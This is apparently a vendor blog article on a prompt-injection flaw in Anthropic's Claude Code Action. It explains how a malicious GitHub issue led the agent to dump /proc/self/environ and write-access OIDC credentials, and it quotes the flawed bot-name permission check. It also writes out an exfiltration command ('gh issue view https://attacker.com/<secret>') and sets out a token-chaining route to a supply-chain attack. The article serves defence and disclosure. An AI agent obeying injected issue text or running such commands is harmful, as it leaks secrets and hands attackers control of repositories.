.png)
CI Green Is Not Merge Safe
On June 1, 2026, RyotaK of GMO Flatt Security published a detailed writeup showing how a single malicious GitHub issue could compromise any public repository running Anthropic's Claude Code Action. The attack chain was straightforward: open an issue, let the AI agent read it, and watch it hand over the repo's write credentials. Anthropic patched the flaw within four days of disclosure and rated it CVSS 7.8, but the underlying pattern isn't unique to Claude. It's a structural weakness in how AI coding agents interact with CI/CD pipelines.
Three confirmed incidents in six months have proven this isn't theoretical. This article maps the threat model, walks through the four workflow patterns that create exposure, and explains what automated pre-merge review can catch before vulnerable YAML reaches your default branch.
Traditional GitHub Actions steps are deterministic. A shell script does exactly what it says, nothing more. AI coding agents break that assumption. They're language models executing tool calls based on natural-language context, and that context often includes content an attacker controls.
The risk equation has three factors:
Combine these three and you get a system where an anonymous attacker can open an issue, wait for the AI agent to process it, and walk away with write access to the repository. The agent becomes an unwitting proxy for the attacker's instructions.
Claude Code Action's permission check was supposed to limit triggers to users with write access. The implementation had two holes.
First, the checkWritePermissions function waved through any actor whose name ended in [bot]. The assumption was that bots are GitHub Apps installed by admins, so they're trusted. In reality, anyone can register a GitHub App, install it on a repo they own, and use its token to open issues on any public repository. The action saw "a bot" and let the content through.
Here's the vulnerable code from the action's source:
// Anyone whose name ends in [bot] gets through
if (actor.endsWith("[bot]")) {
core.info(`Actor is a GitHub App: ${actor}`);
return true;
}Tag mode had a secondary checkHumanActor check that verified the actor's type was User. Agent mode didn't have it. That was the gap.
Second, Anthropic's own example issue-triage workflow shipped with allowed_non_write_users: "*", which lets literally anyone trigger the workflow. Anthropic's own docs flagged this as risky, but the example was there, and repos copied it. The wildcard setting effectively removed the permission boundary entirely.
Once an attacker can trigger the workflow, they need a way to get data out. Claude Code Action had two built-in exfiltration channels.
The first was the workflow run summary panel. By default, Claude Code Action posted a summary of completed tasks to the GitHub Actions job summary, which is publicly visible on any public repository. An attacker who could control Claude's behavior via prompt injection could instruct it to include environment variables in that summary. Anthropic has since disabled summary output by default.
The second channel was the MCP toolset itself. The issue triage workflow granted Claude access to mcp__github__update_issue, which meant a prompt-injected Claude could write stolen secrets back into the issue body where the attacker was watching. RyotaK demonstrated this by getting Claude to read /proc/self/environ (the Linux pseudo-file holding the process's environment variables) and dump the contents into the issue.
Even subtler: the gh CLI accepts URLs as positional arguments. A prompt injection payload could instruct Claude to run gh issue view https://attacker.com/<secret>, sending secrets to an external server in the URL path. Anthropic added a wrapper script that validates gh arguments and blocks non-numeric issue references.
The real prize in RyotaK's attack wasn't the GITHUB_TOKEN. It was ACTIONS_ID_TOKEN_REQUEST_TOKEN and ACTIONS_ID_TOKEN_REQUEST_URL. These are the credentials GitHub Actions uses to request an OIDC token, a signed assertion that proves "I am this workflow running in this repo." Claude Code Action trades that OIDC token with Anthropic's backend to get a Claude GitHub App installation token with write access to code, issues, PRs, and workflows.
Steal those two environment variables, replay the OIDC exchange, and you hold the same write token the AI agent uses. Point this at Anthropic's own claude-code-action repository (which ran the same workflow), and you could push malicious code into the action that downstream repos pull. That's a supply chain attack.
The core issue is scope. An issue-triage workflow only needs issues: write and maybe contents: read. It doesn't need write access to workflows, code, or pull requests. But the default Claude GitHub App installation token granted all of these, and the workflow YAML didn't restrict what the step could access.
There was also a chaining attack. An attacker could first trigger the low-privilege triage workflow (via allowed_non_write_users: "*") to steal a token with issues: write, then use that token to edit a trusted user's issue right before the high-privilege tag-mode workflow fetched it. The tampered issue rides in as "trusted" input because it was originally created by a write-access user. From there, the attacker gets the OIDC credentials and full write access.
This is the most fundamental pattern and the hardest to eliminate. Any workflow where the AI agent reads content that an external user can write is an injection surface. The specific channels:
The standard GitHub Actions advice about script injection (don't interpolate ${{ github.event.issue.title }} into shell commands) doesn't help here. The agent isn't running a static script. It's making tool calls based on natural language, and the attacker's payload is natural language too.
This isn't a class of vulnerability that exists only in research labs.
Every one of these patterns is detectable in workflow YAML before it merges. The vulnerable configuration lives in the file, not in runtime behavior. That makes pre-merge review the right layer to catch them.
Here's what an automated reviewer should flag on any PR that touches .github/workflows/:
Overly broad permissions blocks. A workflow that uses an AI action for issue triage but requests contents: write and id-token: write is asking for trouble. A reviewer can flag when the declared permissions exceed what the workflow logically needs.
Wildcard actor allowlists. Any allowed_non_write_users: "*" in a workflow that passes secrets to an AI agent is a red flag. So is any pattern that trusts actors based solely on a [bot] suffix without verifying the app's identity.
Dangerous trigger + target combinations. A workflow using pull_request_target that checks out the PR's head ref and feeds it to an AI agent is the classic "pwn request" pattern, now with prompt injection on top. Similarly, issues: opened triggers that pass the issue body to an AI agent with secrets in its environment are inherently risky on public repos.
Secrets passed to steps that don't need them. If a workflow passes secrets.NPM_TOKEN or cloud credentials as environment variables to an AI agent step, those values end up in /proc/self/environ where the agent can read them. Only the Anthropic API key and GITHUB_TOKEN should be in scope, and even that's more than ideal.
Tools like Tenki's code reviewer run on every PR and understand your codebase context, which means they can evaluate whether a workflow YAML change introduces one of these patterns relative to what's already in the repo. A human reviewer might miss that a new allowed_non_write_users setting interacts with an existing id-token: write permission in a different workflow. An automated reviewer that sees the full workflow graph won't.
If you're running Claude Code Action, Copilot, or any other AI agent in your GitHub Actions pipelines, here's what to audit right now:
RyotaK has reported around 50 separate permission bypass methods to Anthropic. That count alone tells you something important: you can't rely on the AI agent to resist prompt injection. The model-level defense is a seatbelt, not a wall. Some attacks get through.
The effective defenses are structural: limit what the agent can do if compromised (least-privilege permissions, restricted toolsets, no extra secrets in the environment), limit who can trigger it (strict actor validation), and catch the vulnerable configuration before it ships (pre-merge review on workflow YAML).
AI coding agents in CI are genuinely useful. They can triage issues, label PRs, and automate repetitive review tasks. But they're also the first CI component whose behavior can be redirected by untrusted input at runtime. Treat the workflow YAML that configures them with the same scrutiny you'd give a Terraform plan that modifies IAM policies. The blast radius is comparable.
Tags
Recommended for you
What's next in your stack.